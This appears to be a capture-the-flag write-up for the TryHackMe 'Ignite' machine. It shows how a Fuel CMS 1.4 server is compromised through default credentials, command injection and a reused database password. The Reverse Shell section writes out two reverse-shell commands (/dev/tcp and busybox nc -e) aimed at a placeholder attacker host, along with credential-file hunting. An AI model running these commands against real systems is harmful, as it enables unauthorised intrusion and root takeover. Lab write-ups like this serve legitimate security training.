Skip to content
HackIndex.io

Ignite Writeup - TryHackMe

Easy Linux
Discuss on Discord
Hackercat

Ethical Hacker

Ignite is an Easy Linux machine running Fuel CMS 1.4, a content management system left on its default credentials and never updated past a known Remote Code Execution vulnerability. From the CMS admin panel, command injection drops a shell as www-data. A database config file holds a plaintext password, and whoever set this machine up reused it as the root account password.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP 
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-21 13:10 UTC
Nmap scan report for $TARGET_IP
Host is up (0.030s latency).
Not shown: 65534 closed tcp ports (conn-refused)

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 42.17 seconds
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 80 $TARGET_IP 
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-21 13:11 UTC
Nmap scan report for $TARGET_IP
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
| http-robots.txt: 1 disallowed entry
|_/fuel/

Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds

robots.txt already reveals the admin panel at /fuel/. Fuel CMS 1.4 is identified from the page title.

Exploitation

Navigate to http://$TARGET_IP/fuel/ to reach the CMS admin login.

Try the default credentials that ship with Fuel CMS: username admin, password admin.

Login succeeds. Fuel CMS 1.4 has a known Remote Code Execution vulnerability in the admin interface. The "Pages" section passes unsanitised input directly to a system call. Commands entered execute as www-data.

Enter Command $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enter Command $ uname -a
Linux ubuntu 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Enter Command $ ls /home
www-data

Enter Command $ ls -la /home/www-data
total 24
drwxr-xr-x 2 root     root     4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 www-data www-data   33 Jul 26  2019 flag.txt

Enter Command $ cat /home/www-data/flag.txt
$USER_FLAG

Credential Discovery

CMS installations almost always have a database configuration file with plaintext credentials. For Fuel CMS:

Enter Command $ cat fuel/application/config/database.php

<?php
defined('BASEPATH') OR exit('No direct script access allowed');

$active_group = 'default';
$query_builder = TRUE;

$db['default'] = array(
    'dsn'       => '',
    'hostname'  => 'localhost',
    'username'  => 'root',
    'password'  => '$ROOT_PASSWORD',
    'database'  => 'fuel_schema',
    'dbdriver'  => 'mysqli',
    ...
);

Password found in the database config. Database credentials are frequently reused as system account passwords, so test this immediately.

Reverse Shell

The web command panel works for reading files but an interactive shell is more practical for further enumeration.

Set up a listener:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444 
listening on [any] 4444 ...

Send the payload from the web panel:

Enter Command $ sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

If filtered, busybox nc works as a fallback:

Enter Command $ busybox nc $ATTACKER_IP $ATTACKER_PORT -e sh

Listener receives the connection:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444 
listening on [any] 4444 ...
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 52142

Upgrade to a full TTY:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ ^Z
[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444

www-data@ubuntu:/var/www/html$ export TERM=xterm

Privilege Escalation

The database password works as the root account password.

www-data@ubuntu /var/www/html $ su root 
Password: $ROOT_PASSWORD
root@ubuntu /var/www/html # id 
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu /var/www/html # cat /root/root.txt 
$ROOT_FLAG

The database password worked directly as the root account password. No exploit required.

Key Takeaways

  • Scan all ports with -p- before running service detection. Use --min-rate 1000 to keep the full sweep fast, then run -sC -sV only on confirmed open ports.

  • Default credentials must always be tried before any exploitation. admin/admin is the single most common CMS misconfiguration.

  • robots.txt Disallow entries are not security controls. They advertise sensitive paths to attackers.

  • Database config files (database.php, .env, config.php, settings.py) almost always contain plaintext credentials. They are the first thing to look for after gaining any code execution.

  • Password reuse between database accounts and system accounts is extremely common. Any credential found should be tested immediately against su, SSH, and other local accounts.

References